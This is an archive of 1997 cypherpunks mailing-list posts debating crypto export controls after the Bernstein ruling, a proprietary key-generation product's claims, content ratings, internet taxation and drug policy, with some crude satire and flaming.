> Date: Tue, 26 Aug 1997 22:25:55 -0400
> MIME-Version: 1.0
> X-Priority: 3
> X-MSMail-Priority: Normal
> X-MimeOle: Produced By Microsoft MimeOLE Engine V4.71.1008.3
> 
> We communicated today about the DCSB luncheon at the Harvard Club and I have
> been looking at some of the e$pam traffic.  I am somewhat amused because our
> company is about to throw a monstrous perturbation into Public-Private Key
> encryption.
> 
> We invite you and everyone on the list (Please send this invitation out to
> them as the info on how to do that didn't come through.) to visit the KeyGen
> webpage, www.KeyGen.com and learn about Automatic Synchronized
> KeyGeneration(TM).  If you think you recognize it as something you have seen
> before, you're close but wrong.
> 
> We are obviously biased, but we feel strongly and so do many others, that
> ASK will solve many of the security problems presently under discussion.  In
> time, it will probably sink Key Management and Certificate Authorities.

It won't change dick all as long as it's got that nice (TM) beside it, which I
assume means it's not source available or open to peer review.  Please, no-one
trust proprietary algs in the arena. <bzzzt> Sorry, try again.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex Le Heux <alexlh@xs4all.nl>
Date: Fri, 29 Aug 1997 09:54:56 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Welfare Solution #389
In-Reply-To: <3.0.3.32.19970826220410.007e1cd0@mail.xs4all.nl>
Message-ID: <3.0.3.32.19970829034712.0079c260@mail.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 18:26 8/28/97 -0500, you wrote:
>On Tue, 26 Aug 1997, Alex Le Heux wrote:
>> I suppose you believe that a drug addict has no one to blame but 
>> himself, and that he should take _all_ of the blame. I don't. They 

>> certainly deserve some credit for the mess they're in, but not 
>> entirely. Bad luck has a lot to do with it as well. Just like 
getting 
>> blown off a cliff by the wind. You shouldn't have been there, you 
>> should have been strong enough not be blown off, etc....
>
>	No one chooses to have the wind blow. If a junkie can 
>demonstrate how he became hooked by force, or by accident (i.e. 
"someone
>slipped something in my drink over and over"/medical usage leading 
to 
>addiction), then I will not blame them as much. I know what it is 
like to 
>kick an addiction, and I can just imagine how much worse Herion, 
Coke, and 
>Speed are, but hey, it's your life, you own it, do what you have to. 

>
"Bad Luck" in this case means a bit more than simple thigs like 
"someone slipped me one at a party". Bad luck comes in many forms. 
Drugs aren't just a physical thing, they mess with your mind ass 
well. So among "someone slipped me one at a party" we should also 
count "I just got fired and my girlfriend broke up with me and 
everything just plain sucked for a while, and before I knew it I was 
addicted"

>> Also, it being the druggie's fault or not, treating him as an 
outcast 
>> is not going to solve the problem. It'll only make it worse. For 
him, 
>> and for the rest of us.
>
>	It may not solve _his/her_ problem, but it may also make a couple 
>of younger kids think twice before shooting up. 
>
Well, I have news for you: It doesn't make them think twice. You only 
have to look around you to see the prove of that.

>> What works much better is treating his addiction more like a 
disease. 
>
>	Assuming that they _want_ to get treated. 
>
Most of them do not like the situation they're in. Try _really_ 
talking to some of them. The problem is that by the time they're 
outcasts from society, the only thing left in life that'll take away 
the pain (physical pain as well, from withdrawel) is the drug. Make 
these people feel part of society again, and they suddenly gain a lot 
of strength. Enough strength in many cases to enable them to give up 
the drugs or at least lower their consumption to a level where they 
can actually function again.

>> and a dime. Also the mortality rate under the junkies is very low, 

>> although I suspect you don't see that as a good thing.
>
>	If they hold down a job, pay their own way, I could care less, and 
>don't mind a bit. 
>
>	I don't want to support them.
>
I'm not asking you to support them. I'm only saying that it would be 
that much nicer if we could help them get back on their own two feet.

>> The 'drug problem' as it exists in most places in this world is 
the 
>> result of the mindboggeling numbers of people living in tiny 
spaces. 
>
>	Crap. There are kids in small towns all across the USA doing Coke, 
>Speed, Pot, and LSD. They aren't "escaping a painful reality", they 
are 
>just fucking bored and looking for a little fun. 

They're not the drug addicts I talking about here. They're just, like 
you say, "kids looking for a little fun"

Alex
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNAYcENuYAh4dUSo/EQJ47QCfdpQ4zQfu8XV3kqXNYW68LI/7r08AoOQd
AcPexXHMQ/7hWn173VlWsJWj
=Ifk6
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stonedog@ns1.net-gate.com
Date: Fri, 29 Aug 1997 16:47:42 +0800
To: cypherpunks@toad.com
Subject: Re: Fade to Gray... (Politically Correct)
In-Reply-To: <08b2b4a26e0ddfa16021bf064721ba4c@anon.efga.org>
Message-ID: <Pine.BSI.3.93.970829040820.12275B-100000@ns1.net-gate.com>
MIME-Version: 1.0
Content-Type: text/plain



A cross between "The Shcokwave Rider" and "The Wrong End of Time". Oh
Brunner, where's the traveller in black when you need him?

-stonedog

On Thu, 28 Aug 1997, Anonymous wrote:

> Far above the city, a nuclear bomb falls from the bottom of a small
> airplane. Strangely, all of the members of the CypherPunks list were
> out of town that day.
> Kent Crispin hears the voice come over the radio of his private plane,
> warning him that he must land his plane immediately, or be shot down.
> He looks out at the wing and notices, for the first time, that someone
> has removed the identifying numbers from his plane.
> Crispin looks at the printouts of CypherPunks posts sitting on the seat
> beside him, and realizes that he is wearing a T-shirt with 4 lines of
> Perl code for unexportable encryption.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 29 Aug 1997 16:41:45 +0800
To: cypherpunks@toad.com
Subject: Re: Shrinks as Narcs for the State
Message-ID: <367844640a2083debfe1106e30cb1a81@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 2:14 PM -0700 8/28/97, Sean Roach wrote:
> >A lot of people are
> >afraid to tell thier doctors everything that the doctors need to know to do
> >thier jobs because the patients are afraid that, as illegal as it may be,
> >the patients medical history may end up in the hands of insurers, employers,
> >prospective employers, and numerous other people who may want it but
> >shouldn't have it.

> I know a psychologist/therapist who is very worried about this issue, as
> are his associates. His records are no longer his, as he must inform the
> insurance agencies who are paying for his services what the diagnosis of a
> patient is. And this diagnosis can be found by all sorts of snoops...

Dear Detective May,
  My name is Dick Long, and I am a former DEA agent now working for the
big bucks in private enterprise. It has come to the attention of my
employer, "Your Best Friend Health Insurance, Inc.", that they are
paying
over $5,000.00 a month for drug rehabilitation therapy for:
	Mr. C. Punks,
	WeKnowWhereYouLive Drive,
	WeKnowEverythingAboutYou, U.S.A.

  The records of Mr. Punks' psychiatrist and personal physician state
that he still uses on occassion, mostly on weekends, at home. If he
were to be lawfully arrested and incarcerated for criminal drug use,
then my employer would no longer be required to pay for his therapy,
and would be very grateful, indeed.
  How grateful? Check the accompanying envelope. We could be that
grateful for every month Mr. Punk is incarcerated.
  We are not asking you to do anything illegal, only to prioritize
your legally sworn duties in a manner which could prove to be very
mutually beneficial for both law enforcement and private enterprise.

Sincerely,
Dick Long <long.dick@rude.ca.ca>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 29 Aug 1997 20:12:59 +0800
To: cypherpunks@toad.com
Subject: Update on "news rating," Internet Content Coal mtg, from Netly (fwd)
Message-ID: <Pine.GSO.3.95.970829050235.17869K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 29 Aug 1997 05:02:01 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Update on "news rating," Internet Content Coal mtg, from Netly



---------- Forwarded message ----------
Date: Thu, 28 Aug 1997 18:48:22 +0000
From: Noah Robischon <noah@pathfinder.com>
To: declan@well.com
Subject: ICC UPDATE

The Netly News 
http://www.netlynews.com
Afternoonline 
August 28, 1997

ICC You Later

The Internet Content Coalition has rolled over,
but it's not dead yet. In today's
closed-to-the-press meeting, most of the two dozen
news organizations in attendance opposed the
rating of news sites on the Web -- whether from
third parties or from the Coalition itself. This
sharp turnabout followed criticism of the
Coalition's attempts to establish voluntary
ratings guidelines for the industry. "Everyone in
the room agreed to a general statement that as
news organizations we will not rate our content
and we oppose the efforts of others to rate our
content," said Dan Okrent, Time Inc. New Media's
Editor In Chief.

But self-labelling is not totally dead: today's
membership was divided between those who still
want to work with filtering software and browser
companies and hardliners such as Times-Mirror who
don't want to negotiate with Microsoft and
Netscape at all.

Such divisions lead to questions about the
structure of the ICC, which is still struggling to
define its membership, its mission and even its
ability to speak on behalf of the world's media
giants. Members of the press were barred from
today's meeting, a semmingly paradoxical move
given the nature of the discussion. Acting
president Mark Bailey told The Netly News that
reporters were barred from the proceeding so that
an open and broad-based debate could take place.
"We also have not invited ratings people and we
also have not invited a lot of browser people," he
said. "We really wanted this to be a news
publisher meeting."  -- By Noah Robischon










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 29 Aug 1997 20:26:05 +0800
To: Cindy Cohn <Cindy@mcglashan.com>
Subject: The ElectroMagnetic Curtain (Was: Ian Goldberg is reading your International mail.) / Re: Stay issued; modified stay to follow
In-Reply-To: <199708290123.SAA24903@gw.quake.net>
Message-ID: <3406BCEF.EF0@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Cindy Cohn wrote:
> During a conference call with counsel today, Judge Patel issued a stay of
> the injunctive relief issued in her Opinion of August 25, 1997, effective
> until September 8.

  Judge Patel has effectively agreed that, although Americans have
a Constitutional right to Free Speech within the confines of U.S.
borders, this Constitutional right stops at the edge of the
ElectroMagnetic Curtain that D.C. has built to imprison the words
and thoughts of its citizens.

  The government's LEA's now have enough dictatorial powers to
invade our privacy, listen surreptitiously to our conversations
and track our movements, as long as we remain at home, but they
fear losing their power over the citizens if our thoughts and
words are allowed to escape beyond the reach of the government's
power to spy on us.

Department of Justice
For Immediate Release
Tuesday, August 26, 1997
>But, as President Clinton stated upon issuing an Executive Order on this 
>subject on November 15, 1996, the use of encryption products by 
>unfriendly parties outside the United States can jeopardize the foreign 
>policy and national security interests of the United States, and public 
>safety of U.S. citizens.

  Is President Clinton trying to tell us that the spies who have 
managed to infiltrate our governments security agencies, and the
terrorists who have managed to escape law enforcement's grasp, are
not capable of acquiring strong encryption despite his pretentious,
unconstitutional posturing?
  Is Wiggling Willie suggesting that foreign spies and terrorists
are not as capable and experienced with computers and the InterNet
as the American children who have no problem finding foreign sources
of strong encryption?
  Would the Law Enforcement Agencies of this country have us believe
that they cannot keep drug dealers from bringing _mountains_ of drugs
_into_ America, but that denying American citizens their right to
privacy will prevent drug dealers from smuggling a 3 1/2 inch disk
with strong encryption on it _out_ of the U.S.?
  I do not resent elected representatives lying to the citizens,
since it is a given, but I am abhorred by the fact that these
white-collar criminals no longer even feel the need to tell
_good_ lies. (Could this be an indication that the press is not
doing their job?)

  The *only* purpose that this attack on the Constitutional rights
of the American Citizens serves is to keep privacy empowering
software out of the hands of the citizen. It is a blatant attempt
to use threats of criminality, fines and imprisonment to intimidate
corporations and citizens into giving up their freedom to protect
their right to free and private speech with one another, and with
the citizens of other countries.

TruthMonger
"It's not FUD until *I* say its FUD."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 29 Aug 1997 21:04:03 +0800
To: cypherpunks@toad.com
Subject: Re: Update on "news rating," Internet Content Coal mtg, from Netly (fwd)
In-Reply-To: <Pine.GSO.3.95.970829050235.17869K-100000@well.com>
Message-ID: <3406C4E9.3E96@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> ---------- Forwarded message ----------
> Subject: Update on "news rating," Internet Content Coal mtg, from Netly
> From: Noah Robischon <noah@pathfinder.com>
> http://www.netlynews.com

> ICC You Later
 
> The Internet Content Coalition has rolled over,
> but it's not dead yet. In today's
> closed-to-the-press meeting, most of the two dozen
> news organizations in attendance opposed the
> rating of news sites on the Web -- whether from
> third parties or from the Coalition itself. This
> sharp turnabout followed criticism of the
> Coalition's attempts to establish voluntary
> ratings guidelines for the industry.

Translation~~These poor bastards are so used to doing their
insider, dirty deals, that they made the mistake of letting
too many 'outsiders' know about this one without realizing
that some of them would spill the beans about what was really
going on.

> Acting president Mark Bailey told The Netly News that
> reporters were barred from the proceeding so that
> an open and broad-based debate could take place.

Translation~~The 'people' were barred from knowing what was
taking place, because they "can't _handle_ the truth." These
fuckers have learned their lesson, and from now on the public
will only hear what the insiders _want_ them to hear.

> "We also have not invited ratings people and we
> also have not invited a lot of browser people," he
> said. "We really wanted this to be a news
> publisher meeting."

Translation~~We invited a _few_ people who can keep their goddamn
mouths shut and let the press spin doctors put a good face on our
plans to keep a stranglehold on the news that the public is allowed
to see and hear.

  -- By Noah Robischon

Translation~~He had his kid write this, in return for borrowing the
car this weekend. It gave him an extra hour in the sack with the
old lady.

TruthMonger
"All the print that gives you fits."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 29 Aug 1997 21:51:06 +0800
To: Alexis <demara@geocities.com>
Subject: Re: hello
In-Reply-To: <19970829122024.21123.qmail@nym.alias.net>
Message-ID: <3406CC4B.10A2@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Feanor wrote:
> On Aug 28, 22:22, Alexis wrote:
> > Can anybody teach me the abc's on Hacking, Cracking, Phranking,
> > Cryptomography, I know that to be a good hacker you have to know all,
> > but speciallize on one.  Or do any of you are in the LA area that
> > willing to teach me face to face.
> 
> Boy, you're a fucking loser.

  And Feanor prefers those who like 'fucking a loser.'

> Hacking = expert/geeky computer usage.
       Or = smoker's cough
> Cracking = breaking into computer systams.
        Or = breaking into your mom's stash of rocks
> Phranking = some stupid fucking word you made up.
         Or = something that leaves stains in the shorts of total
             strangers, but improves their breath.
> Cryptomography = some other stupid fucking word you made up.
              Or = Cryptography based on the Platypus IgorRhythm

> So, you use 4 major terms, get two of them wrong, and can't use basic grammar.

  Sounds like Alexis needs to contact:
? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
{Alexis. If the Platypus makes fun of your grammar, tell him to
 "Phrank oft and dye--you socks."}

> Even if I know the first thing about cracking (which I don't), I would never
> teach you that or anything else in a million years because you are obviously too
> stupid to be worth wasting my time on.

  Stop sugar-coating it, Feanor, and tell it like it is.

> Hell, you're even too stupid to troll well, if that's what this is...

  She caught _you_...

& the WannabeWallabe






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 29 Aug 1997 19:47:03 +0800
To: cypherpunks@toad.com
Subject: SAFE D.O.A.
Message-ID: <1.5.4.32.19970829112443.00729cf8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



29 August 1997, C4I News:

A key member of the House National Security Committee (HNSC) said 
that a bill loosening export controls on U.S. encryption technology 
is "dead on arrival." HNSC has until September 12 to issue
recommendations on the bill.

"I'm not going to support something being ramrodded down our throats," 
Rep.Curt Weldon said in a recent telephone interview. 

Weldon said Goodlatte's bill will not reach the House floor because of 
Rep. Solomon's opposition. 

Unlike NSA, Weldon is unsure whether "key recovery" is an answer to 
the security issue posed by loosening export restrictions on encryption. 
"I don't like the idea of government controlling business," Weldon said. 

-----

Full story:

   http://jya.com/safe-doa.txt







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 29 Aug 1997 20:02:29 +0800
To: cypherpunks@toad.com
Subject: Snuffle Snuffed
Message-ID: <1.5.4.32.19970829114522.00737c10@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



For those not on the cypherpunks@toad list, there have been
a few messages on the Bernstein decision which seem not to 
have been forwarded to the other lists, apparently because they
were sent directly by "bernstein-announce@toad.com."

We've put them on our site and can be browsed at:

   http://jya.com/crypto.htm

The latest last night from Bernstein's attorney is that the USG
has gotten a stay from Patel's on her August 25 decision (see
PGP Inc. message below). The stay removes protections from 
those who may have posted Snuffle to the Web (as JYA did). 

Hence, we've removed the two versions of Snuffle we had
hosted.  After, we note, DoJ and Commerce had downloaded
the evidence and our vitae. DoJ's Anthony Coppolino would 
not discuss the stay when I called him at 202-514-4782.

However, we would like to offer lieu of the Snuffle files links
to offshore sites if there are any who wish to host the US national 
security threats.

Adam Back posted one version here a few days back, and
Purdue has Dan's 1990 original offer to sci.crypt. For leads
to the two see:

   http://jya.com/snuffle-c.htm

   http://jya.com/snuffle-txt

Here's a the message from PGP, Inc.:

----------

Return-Path: <cypherpunks-errors@toad.com>
X-Sender: kohn@mail.pgp.com
Date: Fri, 29 Aug 1997 01:06:00 -0700
To: Cindy Cohn <Cindy@mcglashan.com>
From: Bob Kohn <kohn@pgp.com>
Subject: Re: Stay issued; modified stay to follow
Cc: sadams@forbes.com, telstar@wired.com, plotnikoff@aol.com,
        Ewasserman@sjmercury.com, dang@cnet.com, steven@echo.net,
        abate@ccnet.com, wendyg@cix.compulink.co.uk, amy@netcom.com,
        courtm@cnet.com, alan.boyle@MSNBC.COM, declan@well.com,
        sep@cbsnews.com, kenc@cwi.emap.com, arb@well.com, exp@mk.ibek.com,
        bransten@interactive.wsj.com, TomBemis@pacbell.net,
        sam.perry@reuters.com, jimevans@aol.com, ljflynn@aol.com,
        wendyl@ljx.com, bernstein-announce@toad.com
Reply-To: Bob Kohn <kohn@pgp.com>
Sender: owner-cypherpunks@toad.com

Too bad.  Prof. Bernstein was perfectly positioned to become a great -- and
the only legal -- exporting reseller of PGP software.  (no, this is not off
the record)

Bob


At 06:21 PM 8/28/97 -0700, Cindy Cohn wrote:
>During a conference call with counsel today, Judge Patel issued a stay of
>the injunctive relief issued in her Opinion of August 25, 1997, effective
>until September 8. 
>
> On September 8 (or sooner if we get the papers to her) the Court she will
>issue a formal Stay Pending Appeal which will stay the injunctive relief
>issued in her Opinion of August 25, 1997, except that an injunction shall be
>reinstated to prevent the prosecution of Professor Bernstein for the
>"unlicensed export" of Snuffle 5.0 (which includes Snuffle and Unsnuffle)
>and any later versions of that program which he has developed.
>
>This eliminates, at least for the meantime, the injunctive relief granted to
>Bernstein as to any other computer programs which he may have developed or
>otherwise wished to publish.  It also eliminates the protections for persons
>other than Professor Bernstein.
>
>The government has said that it may still challenge this more limited stay
>in the 9th Circuit.  Professor Bernstein may also seek relief from the stay
>from the 9th Circuit.
>
>Cindy
>************************ 
>Cindy A. Cohn                                                               
>McGlashan & Sarrail, P. C.
>177 Bovet Road, 6th Floor                                            
>San Mateo, CA  94402
>(415) 341-2585 (tel)
>(415)341-1395 (fax)
>Cindy@McGlashan.com
>http://www.McGlashan.com
>
>
>



Robert H. Kohn
Vice President, Business Development
PRETTY GOOD PRIVACY, INC.
2121 S. El Camino Real, 9th Floor
San Mateo, California 94403
Direct: (415) 524-6220
Cellular: (415) 297-6527
Main: (415) 572-0430
Fax: (415) 572-1932
kohn@pgp.com
PGP Home Page: http://www.pgp.com
Personal Home page: http://www.kohnmusic.com/people/bkohn.html

"If all the personal computers in the world - ~260 million computers - were
put to work on a single PGP-encrypted message, it would still take an
estimated 12 million times the age of the universe, on average, to break a
single message."
 -- William Crowell, Deputy Director of the National Security Agency, 
	testifying before the U.S. Congress on March 20, 1997





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Myron Lewis <mrlewis@keygen.com>
Date: Fri, 29 Aug 1997 22:02:31 +0800
To: mrlewis@keygen.com
Subject: p.s. -- Re: ASK ToolKit Clarifications
In-Reply-To: <19970829133319.AAA17639@mrlewis.tiac.net>
Message-ID: <3406D38B.308D@keygen.com>
MIME-Version: 1.0
Content-Type: text/plain



Myron Lewis wrote: 
> I know that the claims we make for the ASK ToolKit(TM) sound a little too
> good to be true.  In fact, someone I have been talking to for a while about
> other subjects and who I thought respected my views told me that "If it
> sounds too good to be true, it probably is-- too good to be true. "

I forgot to mention...it can also be used to break PGP encryption.

Moron Lewis
President
KeyGun Corporation
The Key to Secure Communications(TM)
Root Password: KeyGun

---------------------------------------------------------------------
This post is copyrighted under the auspices of the Electronic Forgery
Foundation.  Any abuse of this post is fully expected and acceptable.
  "Twisting the words of others, since 10 o'clock this morning."
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Fri, 29 Aug 1997 22:37:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Aussies discover regulatory arbitrage...
In-Reply-To: <v03110742b02c0bf605e9@[139.167.130.248]>
Message-ID: <Chameleon.872860374.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



=snip=
 
>    ATO urges no Internet slug
> 
>           _By Hans van Leeuwen_
> 
>    The Australian Tax Office's attempt to tax electronic commerce should
>    include no new taxes and as little extra red tape as possible,
>    according to the recommendations of a major ATO report to be released
>    today.
> 
=snip=
>    "As the Internet allows electronic payment system providers to locate
>    their operations anywhere in the world, they might choose to flee a
>    jurisdiction that unilaterally introduces a strong regulatory regime .
>    . . Unilateral action may be more damaging than no action," the report
>    said.

Duh.

=snip=

>    "There are not too many existing taxes worldwide that are not
>    vulnerable," the Tax Commissioner, Mr Michael Carmody, said yesterday.
> 
>    The recommendations to strengthen the tax policing of the Internet
>    included:
>      * Numbers displayed on websites.
>      * Licence commercial internet sites ("webshops") and webshop hosts.
>      * Introduce denomination limits for electronic cash, like those
>        already existing for physical cash.
>      * Review the current wholesale sales tax categories, given that new
>        products were being thrown up by the process of digitisation.

They don't seem to realize yet that it is about as easy to run a website 
hosted 5000K away as one down the street. This is fundamental. Some 
countries =will= attempt to regulate this commerce. I would be absolutely 
amazed if this were not so. The wonderful thing about this though is that 
it is just too damn easy to move a web site offshore to a location more 
friendly to commerce, so they will ultimately fail. The bad part about this 
is that there are few, if any restraining forces on government action in 
most places. Therefore, it is likely that any attempts to regulate internet 
commerce will be enforced for far longer than any person with a brain would 
continue to do to. Additionally, many companies will cave to the demands of 
whatever the jack-booted thugs demand so as to avoid harassment. 

>    But Mr Carmody ruled out introducing any taxes on data flows, such as
>    a bit tax, in the short term.

The last 4 words here are what is important. Why they think things will get 
better for them is beyond me. The ability to route around damage (in this 
case, taxes) is the strong point of the net. With any luck, this will 
continue to be true.
 
>    "We don't see major advantages to that at the moment. For Australia to
>    jump immediately to a bit tax would just drive Australian business out
>    of the country," he said.
 
Again, DUH.

>    The report said electronic commerce threw up some tough challenges to
>    tax administrations, including the difficulty in identifying the
>    parties to an electronic transaction, the ability of cyber- businesses
>    to store records offshore and encrypt them, and the removal of "middle
>    men" -- such as wholesalers and brokers -- from the distribution
>    process, who usually make the ATO's tracking of transactions easier.
> 
>    But Mr Carmody said the ATO would not be assuming that the reason
>    businesses went online was to avoid tax.

Yet.
 
>    "It's just another medium of transacting business, which does not of
>    itself say they're not going to meet their tax obligations," he said.
>    "But there are concerns that the Internet opens up wider fields for
>    those who are seeking to avoid their liabilities."

Don't you just love the way they try to make confiscatory taxes seem like 
the most natural and patriotic thing in the universe? <:) 


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/29/97
Time: 08:59:25
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Goodin <dang@cnet.com>
Date: Sat, 30 Aug 1997 00:25:12 +0800
To: cypherpunks@toad.com
Subject: Re: Sit, Bubu. Sit! / Re: Stay issued; modified stay to follow
In-Reply-To: <199708290123.SAA24903@gw.quake.net>
Message-ID: <3.0.3.32.19970829090309.006bb048@cnet5.cnet.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

Dan Goodin from C|NET's NEWS.COM responding to a message you sent in
response to Cindy Cohn's email announcing the stay.

I'm very interested in finding out how extensively Snuffle was posted
during the two-and-a-half days it was legal to do so.  Do you have any idea
how many sites posted it, and if it's still available online today, now
that such posts are once again against the law?

Please respond ASAP.

Thanks,

Dan Goodin
415-395-7805, x5223
dang@cnet.com


At 21:37 28.08.97 -0600, you wrote:
>Cindy Cohn wrote:
>> 
>> During a conference call with counsel today, Judge Patel issued a stay of
>> the injunctive relief issued in her Opinion of August 25, 1997, effective
>> until September 8.
>
>  Why are these dinosaurs fucking away perfectly good taxpayer's money
>trying to shore up the walls of a crumbling civilization?
>
>NEWS FLASH!!!	THE GENIE *WON'T* GO BACK IN THE BOTTLE 
>                ---------------------------------------
>  Before the ink had dried on Judge Patel's ruling, 2,000,000 emails of
>Professor Bernstein's work were on their way overseas, to every port of
>call. (Courtesy of Email Blaster, that wonderful progam that tells us,
>fifty times a day, how to "MAKE MONEY FA$T!!!")
> 
>>  On September 8 (or sooner if we get the papers to her) the Court she will
>> issue a formal Stay Pending Appeal which will stay the injunctive relief
>> issued in her Opinion of August 25, 1997, except that an injunction
shall be
>> reinstated to prevent the prosecution of Professor Bernstein for the
>> "unlicensed export" of Snuffle 5.0 (which includes Snuffle and Unsnuffle)
>> and any later versions of that program which he has developed.
>
>  Hell, Professor Bernstein can _import_ it now!
>  By September 8, the program will be obsolete, having been tweaked
>upward
>a few generations by Iraquian programmers. I respectfully requested that
>the Iraquis make any future versions of the program available to
>American
>youth who have to flee to Hitler's homeland with their website in order
>to avoid being persecuted for their sexual predeliction.
> {See - http://www.guidemag.com/newsslant/vigilante-censors.html }
>
>> This eliminates, at least for the meantime, the injunctive relief
granted to
>> Bernstein as to any other computer programs which he may have developed or
>> otherwise wished to publish.  It also eliminates the protections for
persons
>> other than Professor Bernstein.
>
>  No it doesn't. Haven't you heard of strong crypto?
>  Thank you for pointing out that Phil Zimmerman wishes to protect me,
>and Judge Patel wishes, on behalf of the government, to "eliminate the
>protections" which strong encryptions affords me.
>
>  The governement can't even protect themself, let alone the citizens,
>as evidenced by the fact that the current sport of teenage hackers
>across the nation is to send strong encryption overseas by way of the
>government's email systems. (Can you say FBI? Sure you can! Can you 
>say IRS? Sure you can!) Yet these dweebs want to destroy an industry 
>that *is* capable of providing the citizens protection? (Considering 
>the INSLAW affair, perhaps it would be more fitting to say "destroy 
>_another_ industry.")
>
>> The government has said that it may still challenge this more limited stay
>> in the 9th Circuit.  Professor Bernstein may also seek relief from the stay
>> from the 9th Circuit.
>
>  I hope these idiots are having fun and making lots of money playing
>their dinosaur games, because they are certainly accomplishing the
>opposite of what they claim to be trying to do.
>  The most that the dinosaurs in D.C. can manage to do, is to drag all
>of the American business interests down into the ashes of history with
>them as they attempt to build an Electromagnetic Curtain behind which
>to imprison their citizens.
>  Well, the CypherPunks were digging tunnels before the government even
>knew they were predestined to build the Wall, so the fascist censors are 
>sucking hind-tit and will, in all likelihood, continue to do so.
>
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>TruthMonger, CoE <tm@dev.null>
>Official Spokesperson for:
>Cypherpunks Cult of One,
>DoWell, Saskatchewan Division
>
>"Give me bandwidth, or give me death."
>          -Admiral B. d'Shauneaux
>"The Xenix Chainsaw Massacre"
>http://bureau42.base.org/public/xenix
>"WebWorld & the Mythical Circle of Eunuchs"
>http://bureau42.base.org/public/webworld
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 30 Aug 1997 00:44:17 +0800
To: Myron Lewis <mrlewis@keygen.com
Subject: Re: p.s. -- Re: ASK ToolKit Clarifications
In-Reply-To: <19970829133319.AAA17639@mrlewis.tiac.net>
Message-ID: <3.0.2.32.19970829091223.0072c1bc@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:50 AM 8/29/97 -0600, Myron Lewis wrote:
>Myron Lewis wrote: 
>> I know that the claims we make for the ASK ToolKit(TM) sound a little too
>> good to be true.  In fact, someone I have been talking to for a while about
>> other subjects and who I thought respected my views told me that "If it
>> sounds too good to be true, it probably is-- too good to be true. "
>
>I forgot to mention...it can also be used to break PGP encryption.

When making such strong claims, it would behoove the author to provide an
example.

Until such time, the ASK toolkit will be justly regarded as snakeoil.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Myron Lewis" <mrlewis@keygen.com>
Date: Fri, 29 Aug 1997 21:36:37 +0800
To: "Robert Hettinga" <frantz@netcom.com>
Subject: ASK ToolKit Clarifications
Message-ID: <19970829133319.AAA17639@mrlewis.tiac.net>
MIME-Version: 1.0
Content-Type: text/plain






I thought I would write one answer to all instead of getting embroiled in a
number of individual engagements.

I know that the claims we make for the ASK ToolKit(TM) sound a little too
good to be true.  In fact, someone I have been talking to for a while about
other subjects and who I thought respected my views told me that "If it
sounds too good to be true, it probably is-- too good to be true. "

But I have been on the same end of other controversial products and in the
final analysis was vindicated because the product worked as advertised --
even better.  I wouldn't lend my name to a "Snake-Oil" product.  I don't
need that kind of aggravation -- I'm too old.

Let me clarify what the toolkit is and what it isn't.

Unfortunately, I cannot talk about those things that are being patented, but
maybe in the near future.

The ASK ToolKit does not do encryption.

It only provides keys on demand for encryption.   These keys are
synchronized  across a communication link without the keys or information
about them being given out.

The keys are both random and unpredictable -- meaning that you will not be
able to deduce what the next key is even if you have any key that was used
in the past.   The system does not depend on the secrecy of internal
algorithms for security.

The ASK ToolKit does not "manage keys",  it just generates them on demand.
The developer can do what he/she wants with them.  To me, managing keys
means distributing them to the appropriate users (with authorization) or
